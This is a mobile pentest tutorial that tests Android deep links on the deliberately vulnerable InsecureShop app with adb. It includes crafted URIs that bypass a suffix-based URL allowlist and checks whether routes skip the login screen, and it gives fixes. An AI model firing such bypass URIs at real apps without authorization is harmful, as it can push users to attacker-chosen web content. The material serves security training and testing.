Android Deep Link Security Testing with ADB

Deepak Prasad
Tested on Kali GNU/Linux Rolling 2026.2 (kali-rolling)
Package adb 1.0.41 / 34.0.5-debian
apktool 2.7.0
InsecureShop 1.0 (com.insecureshop, targetSdkVersion 29)
Genymotion Android 10 / API 29 guest
Applies to Kali Linux with adb; Android emulator or owned test device
Lab environment Pentest lab
Genymotion Android pentest lab
Privilege Normal user for adb on Kali
Cert prep CompTIA PenTest+ (mobile specialized systems)
Scope Enumerate URI handlers, trigger deep links with adb, separate custom schemes from verified App Links, inspect domain association state, and test route parameters plus session behavior after routing. Does not retell generic exported-component theory or WebView XSS beyond what the deep-link handler does.
Related guides Drozer Android pentesting
MobSF app pentesting
Short on time?Beta Get the gist of this 18-minute read in seconds, then ask follow-up questions

In this article we will test Android deep links on the intentionally vulnerable InsecureShop app. You will map URI intent filters, fire routes with adb shell am start, and separate a custom scheme from verified App Links.

Successfully opening a deep link only proves that Android routed the URI to the app. The important security question is what the app does next. We will therefore check which paths it accepts, how it validates URL parameters, whether authentication is enforced, and whether another app could claim the same link. This lab uses Genymotion Android 10 for the custom-scheme walkthrough and calls out Android 12+ App Link tooling where this guest cannot run it.

IMPORTANT
Test only apps and devices you own or have written authorization to assess. Prefer training APKs such as InsecureShop in an isolated lab and document scope in your rules of engagement.

A deep link is a URI that opens a specific location or feature inside an Android app instead of simply launching the app's main screen. For example, a shopping app could use a deep link to open a particular product or an in-app web page.

Android routes these URIs to Activities through intent filters declared by the app.

A custom scheme such as insecureshop://... is defined by the app and is not verified by Android. An Android App Link uses an http:// or https:// URL and can be verified against a website owned by the app developer.

This lab uses URIs like:

text
insecureshop://com.insecureshop/web?url=https://example.com

Break that string into parts before you read the rest of the walkthrough:

Part Value in the example
Scheme insecureshop
Host com.insecureshop
Path /web
Query url=https://example.com
Kind Example How Android treats it
Custom scheme myapp://product/123 No domain ownership verification
Unverified web deep link https://example.com/product/123 App claims the URL, but domain ownership has not been verified
Verified App Link https://example.com/product/123 App declares autoVerify and Android successfully verifies the domain through Digital Asset Links

Android App Links are verified http/https deep links. After Android successfully verifies that the app is associated with the domain, matching links can be routed directly to the app rather than being treated like ordinary unverified web links. Declaring android:autoVerify="true" only requests verification. The link is not a verified App Link until that check succeeds.

text
  Browser / other app / adb          Package Manager              Target Activity
  ┌──────────────────────┐          ┌─────────────────┐         ┌──────────────────┐
  │ VIEW + BROWSABLE     │          │ Match scheme,   │         │ Read path +      │
  │ data: URI            │ ───────► │ host, path;     │ ──────► │ query; enforce   │
  └──────────────────────┘          │ App Link state  │         │ auth + allowlist │
                                    └─────────────────┘         └──────────────────┘

InsecureShop ships a custom scheme only. There is no https data tag and no android:autoVerify="true" on WebViewActivity. Because InsecureShop uses a custom scheme rather than verified App Links, we can focus first on how its URI handler validates paths and parameters. We will discuss the collision risk of custom schemes later.


Pull the installed APK and decode the manifest so you can see every VIEW + BROWSABLE filter before you fire Intents. Confirm the device and package first:

bash
adb devices -l
output
List of devices attached
192.168.56.103:5555    device product:vbox86p model:Google_Pixel_2 ...

Your serial will differ. With one connected guest, later commands can omit -s. Confirm InsecureShop is installed:

bash
adb shell pm path com.insecureshop
output
package:/data/app/com.insecureshop-0acAL89rV3ECok7X6ekQSQ==/base.apk

The /data/app/.../ directory is generated by Android and will probably differ on your device. Use the exact path returned by pm path, removing only the leading package: prefix. Pull that APK, then decode it with apktool so AndroidManifest.xml is readable:

bash
adb pull /data/app/com.insecureshop-0acAL89rV3ECok7X6ekQSQ==/base.apk ./base.apk
output
/data/app/com.insecureshop-0acAL89rV3ECok7X6ekQSQ==/base.apk: 1 file pulled, 0 skipped. ...

Decode the pulled APK so the manifest is plain XML:

bash
apktool d -f -o decoded base.apk
output
I: Using Apktool 2.7.0-dirty on base.apk
I: Decoding AndroidManifest.xml with resources...
I: Baksmaling classes.dex...
I: Copying assets and libs...
I: Copying original files...

An Intent is an Android message used to request an action from another component. For deep links, the Intent carries the URI that Android tries to match against an Activity's intent filters.

Open the deep-link Activity in the decoded manifest. InsecureShop registers WebViewActivity on scheme insecureshop and host com.insecureshop:

text
<activity android:name="com.insecureshop.WebViewActivity">
    <intent-filter>
        <action android:name="android.intent.action.VIEW"/>
        <category android:name="android.intent.category.DEFAULT"/>
        <category android:name="android.intent.category.BROWSABLE"/>
        <data android:host="com.insecureshop" android:scheme="insecureshop"/>
    </intent-filter>
</activity>

The important parts are:

  • VIEW tells Android that the Activity can display or handle some data
  • BROWSABLE allows the Activity to be invoked from browser-style links
  • DEFAULT allows the Activity to match ordinary implicit Intents that do not name the Activity directly. In an implicit Intent, the caller describes what it wants to open and Android chooses a matching component
  • <data> defines which URI scheme and host this Activity accepts

Because the manifest does not restrict the path, Android can route different paths under insecureshop://com.insecureshop/... to this Activity. WebViewActivity must therefore decide in its own code whether /web, /webview, /admin, or another path should be accepted.

Cross-check the live resolver so you know Package Manager agrees with the XML:

bash
adb shell dumpsys package com.insecureshop | sed -n '/Schemes:/,/Non-Data Actions:/p'
output
  Schemes:
      insecureshop:
        c2ff05f com.insecureshop/.WebViewActivity filter cf7f969
          Action: "android.intent.action.VIEW"
          Category: "android.intent.category.DEFAULT"
          Category: "android.intent.category.BROWSABLE"
          Scheme: "insecureshop"
          Authority: "com.insecureshop": -1

Note what else is missing: no https authority and no autoVerify. For broader export surface beyond URI routes, use the exported components walkthrough.


Use am start with action VIEW, category BROWSABLE, and a data URI. That matches how browsers and other apps hand off links. In this command:

  • -a sets the Intent action to VIEW
  • -c adds the BROWSABLE category
  • -d supplies the deep-link URI

Clear InsecureShop's app data first. This removes its existing login or session state so you can see whether the deep link works for a logged-out user. pm clear deletes the app's local data for this test device:

bash
adb shell pm clear com.insecureshop
output
Success

With a clean process, fire the /web deep link and an arbitrary url value:

bash
adb shell am start -a android.intent.action.VIEW -c android.intent.category.BROWSABLE -d 'insecureshop://com.insecureshop/web?url=https://example.com'
output
Starting: Intent { act=android.intent.action.VIEW cat=[android.intent.category.BROWSABLE] dat=insecureshop://com.insecureshop/web?url=https://example.com }

Confirm the resumed Activity is WebViewActivity, not the launcher or login screen:

bash
adb shell dumpsys activity activities | grep mResumedActivity
output
    mResumedActivity: ActivityRecord{905d2e1 u0 com.insecureshop/.WebViewActivity t108}

The screenshot confirms that the externally supplied url=https://example.com value reached WebViewActivity and was loaded in the in-app WebView:

InsecureShop WebViewActivity after an ADB deep link to /web with url=https://example.com

The Starting: Intent line only means the Intent was delivered. The resumed Activity and the UI content are what you record as impact.


Test Custom URI Schemes

Android does not verify ownership of a custom scheme. Another app can register an overlapping intent filter for the same scheme, which creates the possibility of deep-link collision or hijacking. Treat every custom-scheme Activity as an entry point that must validate path, parameters, and session itself.

InsecureShop's WebViewActivity logic (from the decompiled sources) branches on path:

  • /web: loads the url query value with no domain allowlist
  • /webview: loads url only when that entire string ends with insecureshopapp.com
  • Any other path: leaves data null and calls finish()

The /webview check is StringsKt.endsWith on the full url query string, not Uri.getHost(). That matters for bypass testing later.

Trigger the allowlisted /webview path with a matching host. Stop any leftover WebView first (force-stop prints nothing on success):

bash
adb shell am force-stop com.insecureshop

Then start the deep link whose url ends with insecureshopapp.com:

bash
adb shell am start -a android.intent.action.VIEW -c android.intent.category.BROWSABLE -d 'insecureshop://com.insecureshop/webview?url=https://www.insecureshopapp.com'
output
Starting: Intent { act=android.intent.action.VIEW cat=[android.intent.category.BROWSABLE] dat=insecureshop://com.insecureshop/webview?url=https://www.insecureshopapp.com }

Read the resumed Activity. It should still be WebViewActivity:

bash
adb shell dumpsys activity activities | grep mResumedActivity
output
    mResumedActivity: ActivityRecord{a5bf308 u0 com.insecureshop/.WebViewActivity t104}

Repeat with the same path but https://example.com as the URL. Stop the process again so you are not looking at the previous screen:

bash
adb shell am force-stop com.insecureshop

Fire the failing domain case:

bash
adb shell am start -a android.intent.action.VIEW -c android.intent.category.BROWSABLE -d 'insecureshop://com.insecureshop/webview?url=https://example.com'
output
Starting: Intent { act=android.intent.action.VIEW cat=[android.intent.category.BROWSABLE] dat=insecureshop://com.insecureshop/webview?url=https://example.com }

The Activity should finish because the suffix check fails. Confirm the launcher (or another non-InsecureShop screen) is resumed:

bash
adb shell dumpsys activity activities | grep mResumedActivity
output
    mResumedActivity: ActivityRecord{8542d2a u0 com.android.launcher3/.Launcher t47}

An unknown path such as /admin behaves the same way: Intent starts, then finish() returns you to the launcher. In these tests, the unsupported paths were rejected as expected. The /web branch remains more exposed because it accepts an arbitrary url value.

WebView2Activity uses a custom action (com.insecureshop.action.WEBVIEW) with BROWSABLE but no URI data. That is a related Intent surface, not a classic deep link, so leave it for component testing rather than URI routing.


Attack Weak endsWith Validation on /webview

A legitimate domain that passes and an unrelated domain that fails are not enough when the validator is a string suffix check. Because the app checks the entire URL string rather than parsing and validating its hostname, a crafted URL can pass whenever its final characters match insecureshopapp.com.

Stop the app, then try a host that merely ends with the allowed suffix (force-stop prints nothing on success):

bash
adb shell am force-stop com.insecureshop

Fire the crafted host URL:

bash
adb shell am start -a android.intent.action.VIEW -c android.intent.category.BROWSABLE -d 'insecureshop://com.insecureshop/webview?url=https://evilinsecureshopapp.com'
output
Starting: Intent { act=android.intent.action.VIEW cat=[android.intent.category.BROWSABLE] dat=insecureshop://com.insecureshop/webview?url=https://evilinsecureshopapp.com }

Confirm WebViewActivity stayed open:

bash
adb shell dumpsys activity activities | grep mResumedActivity
output
    mResumedActivity: ActivityRecord{8cdf733 u0 com.insecureshop/.WebViewActivity t116}

WebViewActivity stayed open. evilinsecureshopapp.com is a completely different domain. A real subdomain would have a dot boundary, such as shop.insecureshopapp.com. A raw suffix check cannot tell that difference.

Next, keep the host as example.com and append the allowed suffix in the path. Stop the process first:

bash
adb shell am force-stop com.insecureshop

Start the path-suffix bypass:

bash
adb shell am start -a android.intent.action.VIEW -c android.intent.category.BROWSABLE -d 'insecureshop://com.insecureshop/webview?url=https://example.com/insecureshopapp.com'
output
Starting: Intent { act=android.intent.action.VIEW cat=[android.intent.category.BROWSABLE] dat=insecureshop://com.insecureshop/webview?url=https://example.com/insecureshopapp.com }

Read the resumed Activity again:

bash
adb shell dumpsys activity activities | grep mResumedActivity
output
    mResumedActivity: ActivityRecord{a2355bc u0 com.insecureshop/.WebViewActivity t124}

The same pattern works with the suffix in a query parameter. Stop the process, then fire that case:

bash
adb shell am force-stop com.insecureshop

Start the query-suffix bypass:

bash
adb shell am start -a android.intent.action.VIEW -c android.intent.category.BROWSABLE -d 'insecureshop://com.insecureshop/webview?url=https://example.com/?x=insecureshopapp.com'
output
Starting: Intent { act=android.intent.action.VIEW cat=[android.intent.category.BROWSABLE] dat=insecureshop://com.insecureshop/webview?url=https://example.com/?x=insecureshopapp.com }

Confirm the Activity one more time:

bash
adb shell dumpsys activity activities | grep mResumedActivity
output
    mResumedActivity: ActivityRecord{ddd0455 u0 com.insecureshop/.WebViewActivity t125}

On the emulator the in-app WebView still loaded example.com content, which proves the crafted url cleared the /webview gate:

InsecureShop WebViewActivity after /webview accepted url=https://example.com/?x=insecureshopapp.com

The second and third bypasses are even clearer evidence of the problem. Their actual host is example.com; insecureshopapp.com appears only in the path or query string. A proper hostname check would reject both, but the app sees only that the complete string ends with the expected text.

Lab results for the /webview suffix check:

url value Result
https://www.insecureshopapp.com Accepted
https://example.com Rejected (finish)
https://evilinsecureshopapp.com Accepted (bypass)
https://example.com/insecureshopapp.com Accepted (bypass)
https://example.com/?x=insecureshopapp.com Accepted (bypass)

Report this as broken allowlisting. Parse the URL first and validate the hostname itself. If only one host is allowed, compare it exactly with insecureshopapp.com. If legitimate subdomains are also allowed, require either an exact match or a . boundary before the parent domain, for example .insecureshopapp.com. Do not run endsWith() against the complete URL string.


A typical App Link filter contains VIEW, DEFAULT, BROWSABLE, an http/https scheme and host, with android:autoVerify="true". Android then verifies that host using Digital Asset Links.

App Link intent filters can include HTTP and HTTPS web URLs, but Android retrieves the association file from https://<host>/.well-known/assetlinks.json.

Successful verification on the device is still required. autoVerify alone is not enough.

InsecureShop has none of the filter pieces above. Asking Package Manager about web links should fail cleanly on this guest:

bash
adb shell pm get-app-link com.insecureshop
output
Error: package com.insecureshop does not handle web links.

That error is the correct result for a custom-scheme-only app. The exact Package Manager command depends on Android version. This Android 10 guest supports pm get-app-link (singular). Android 12+ provides the newer pm get-app-links and pm verify-app-links commands.

To confirm that InsecureShop does not handle ordinary HTTPS links, open the corresponding website URL with a VIEW Intent:

bash
adb shell am start -a android.intent.action.VIEW -c android.intent.category.BROWSABLE -d 'https://www.insecureshopapp.com/'
output
Starting: Intent { act=android.intent.action.VIEW cat=[android.intent.category.BROWSABLE] dat=https://www.insecureshopapp.com/... }

Check who actually resumed. On this guest it was the system WebView browser shell, not InsecureShop:

bash
adb shell dumpsys activity activities | grep mResumedActivity
output
    mResumedActivity: ActivityRecord{a8d1a26 u0 org.chromium.webview_shell/.WebViewBrowserActivity t68}

So HTTPS App Link verification is out of scope for this APK's filters. The next section still shows what an invalid Digital Asset Links response looks like, then the troubleshooting section lists the Android 12+ reset and verify sequence for a real App Links app.


Check assetlinks.json

Digital Asset Links must return JSON that names the Android package and signing certificate fingerprint.

InsecureShop does not declare App Links, so Android never attempts this verification for the APK. The domain below is useful only as an example of what an invalid assetlinks.json response looks like. Fetch it with curl and read the status and content type:

bash
curl -sS -D - -o /tmp/assetlinks.body https://www.insecureshopapp.com/.well-known/assetlinks.json | head -20
output
HTTP/1.1 200 OK
Content-Type: text/html
...

Inspect the beginning of the response body. A real statement file would start with [ or {, not an HTML lander:

bash
head -c 200 /tmp/assetlinks.body; echo
output
<!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander"}</script></head></html>

HTTP 200 with text/html and a lander redirect is not a valid statement list. Android will not verify App Links against that response. A healthy file looks like JSON statements, for example:

json
[
  {
    "relation": ["delegate_permission/common.handle_all_urls"],
    "target": {
      "namespace": "android_app",
      "package_name": "com.example.app",
      "sha256_cert_fingerprints": ["AA:BB:..."]
    }
  }
]

The package_name identifies the Android app, while the SHA-256 certificate fingerprint identifies the signing certificate expected for that app. Both must match the installed or released application for the association to verify.

On older Android versions, dumpsys package domain-preferred-apps can provide additional domain-handling state. On Android 12+, prefer pm get-app-links. When you test a production App Links app, look for your package, the claimed hosts, and a verified status, then re-check after fixing fingerprints.


Test Route Parameters and Input Validation

After a route opens, treat every query value as untrusted input. The /web route therefore lets the deep link choose which URL the in-app WebView loads. Whether that creates additional WebView vulnerabilities is a separate test.

Compare the paths you exercised:

URI path url value Lab result
/web https://example.com WebView loads arbitrary host
/webview https://www.insecureshopapp.com Accepted by suffix check
/webview https://example.com Activity finishes
/webview https://example.com/?x=insecureshopapp.com Accepted (suffix bypass)
/admin any Activity finishes

Also check whether real application deep links place tokens, reset codes, IDs, or other sensitive values in URI parameters. Do not call this a vulnerability merely because you can manually add a fake token= parameter; verify that the application actually uses or generates sensitive values this way.


Test Authentication and Authorization on Sensitive Routes

Compare how two different Activities behave after you clear the app. Clear the data again so no leftover session remains:

bash
adb shell pm clear com.insecureshop
output
Success

Start the product list Activity:

bash
adb shell am start -n com.insecureshop/.ProductListActivity
output
Starting: Intent { cmp=com.insecureshop/.ProductListActivity }

See which screen actually came to the front:

bash
adb shell dumpsys activity activities | grep mResumedActivity
output
    mResumedActivity: ActivityRecord{2b8881b u0 com.insecureshop/.LoginActivity t109}

ProductListActivity bounced to LoginActivity after a clear. On the emulator that looks like the yellow login gate:

InsecureShop LoginActivity after starting ProductListActivity with cleared app data

Now fire the deep link again without logging in:

bash
adb shell am start -a android.intent.action.VIEW -c android.intent.category.BROWSABLE -d 'insecureshop://com.insecureshop/web?url=https://example.com'
output
Starting: Intent { act=android.intent.action.VIEW cat=[android.intent.category.BROWSABLE] dat=insecureshop://com.insecureshop/web?url=https://example.com }

Confirm whether WebViewActivity opened without that login bounce:

bash
adb shell dumpsys activity activities | grep mResumedActivity
output
    mResumedActivity: ActivityRecord{905d2e1 u0 com.insecureshop/.WebViewActivity t108}

WebViewActivity is reachable while logged out, whereas ProductListActivity redirects to login. That proves the deep-link Activity does not enforce the same session gate. Whether this is an authentication-bypass vulnerability depends on whether WebViewActivity exposes functionality or data that should be restricted to authenticated users.

In this lab, /web additionally allows the caller to choose an arbitrary URL loaded into the WebView. Report that behavior separately from any authentication finding unless you demonstrate protected functionality becoming accessible. Route open without impact (for example a public About screen) stays informational.

Remember that adb is a powerful caller. For third-party app reachability of the same Activity, confirm with Drozer or a helper APK as in the exported-components guide.


Because Android does not verify ownership of a custom scheme, another installed app can declare a matching intent filter for insecureshop://. This creates a deep-link collision: depending on Android version and user or default-handler state, the competing app may appear as a handler for the same URI.

This lab does not install a second APK solely to demonstrate collision; the important point is that custom schemes provide no domain-ownership verification. Prefer verified App Links for sensitive flows, and keep in-app checks that do not trust the caller. Verified App Links reduce the chance that another app can claim the same web URL at the Android routing level.

Unverified HTTPS links are the second case. If two apps claim https://shop.example/ without successful verification, Android may show a chooser or prefer an unverified handler depending on OS version and user settings. Your negative tests should include:

  • Missing or HTML assetlinks.json
  • Wrong package_name or SHA-256 fingerprint
  • autoVerify present but verification status never becomes verified
  • Sensitive actions still accepting deep-link Intents when verification failed

On Android 12+, unverified App Links no longer automatically get the same privilege as verified ones for opening from browsers. Still test the Activity: many apps run the same onCreate path whether the OS verified the domain or you started the Intent with adb.


Use this table when HTTPS App Links fail on a real target (not InsecureShop's custom scheme).

Symptom Likely cause Fix
package … does not handle web links No http/https intent filter Add HTTPS data tags before expecting verification
Unknown command: get-app-links Guest older than Android 12 Use pm get-app-link on older guests, or move to an API 31+ image
assetlinks.json returns HTML or redirects Wrong web or CDN routing Serve valid JSON directly over HTTPS at /.well-known/assetlinks.json, without redirects
Status never verified Fingerprint or package mismatch Match Play App Signing cert; reset and re-verify on Android 12+
Deep link opens browser only Filter host/path mismatch or user set browser as default Align manifest host/path; check domain preference UI
Activity opens then finishes In-app path or allowlist rejected the URI Expected for bad paths; keep testing weak branches like /web

On Android 12+, use this documented manual verification sequence for a real App Links package. These commands are not available on this Android 10 guest, so run them on an API 31+ image against the package under test.

Reset the package's App Link verification state first:

bash
adb shell pm set-app-links --package com.example.app 0 all

Ask the system to verify the declared hosts again:

bash
adb shell pm verify-app-links --re-verify com.example.app

Domain verification runs asynchronously, so the result may not appear immediately. Wait briefly, then inspect the state:

bash
adb shell pm get-app-links com.example.app

Replace com.example.app with the package under test. Confirm each claimed host shows a verified state before you treat the App Link as trusted.


Summary

Testing an Android deep link involves two questions: does Android route the URI to the app, and what does the app do with it after it arrives?

In InsecureShop, /web loads an externally supplied URL, while /webview tries to restrict URLs with a raw endsWith("insecureshopapp.com") check. Because that check runs against the entire URL string, attacker-controlled hosts, paths, and query strings can satisfy it. The lab demonstrates why URL validation must parse and validate the actual hostname.

App Links add domain verification to HTTPS routes, but verification does not replace application-level checks. Whether you are testing a custom scheme or a verified App Link, confirm the route that opened, validate its parameters, check session and authorization requirements, and demonstrate actual impact before reporting a vulnerability.


References


Frequently Asked Questions

Use adb shell am start with action android.intent.action.VIEW, category android.intent.category.BROWSABLE, and -d set to the full URI. Then confirm the resumed Activity with dumpsys activity activities and check the on-screen behavior. The Starting Intent line alone is not enough.

A custom scheme such as insecureshop:// is app-defined and is not cryptographically tied to one package. An Android App Link is an http/https deep link for which Android has successfully verified the app-to-domain association using Digital Asset Links. The app requests this verification with android:autoVerify="true". Verified App Links reduce the chance that another app can claim the same web URL at the Android routing level; they do not replace in-app authorization.

What does android:autoVerify do?

It asks the system to verify that the app is allowed to handle the HTTPS hosts in that intent filter by fetching Digital Asset Links from the domain. Without a matching valid assetlinks.json, verification fails and the app should not get verified App Link privileges for those hosts.

Common verification failures include an invalid or missing assetlinks.json, redirects, incorrect package name or certificate fingerprint, undeclared or mismatched hosts, or inability of the device to reach the domain. On older Android releases, the available commands for inspecting verification state also differ.

No. Export or a browsable intent filter only means the route can be started. A vulnerability needs impact: missing auth on protected functionality, unsafe parameters, data exposure, or hijackable routing to a sensitive action. Public marketing screens reached by deep link are often intentional.

Finished reading?Beta Get the key takeaways in seconds, then ask follow-up questions
Kennedy Muthii

Information Security Analyst

Accomplished professional proficient in Python, ethical hacking, Linux, cybersecurity, and OSINT. With a track record including winning a national cybersecurity contest, launching a startup in Kenya, and holding a degree in information science, he is currently engaged in cutting-edge research in ethical hacking.

  • Python (programming language)
  • Certified Ethical Hacker
  • White Hat (Computer Security)
  • Linux
  • Penetration Testing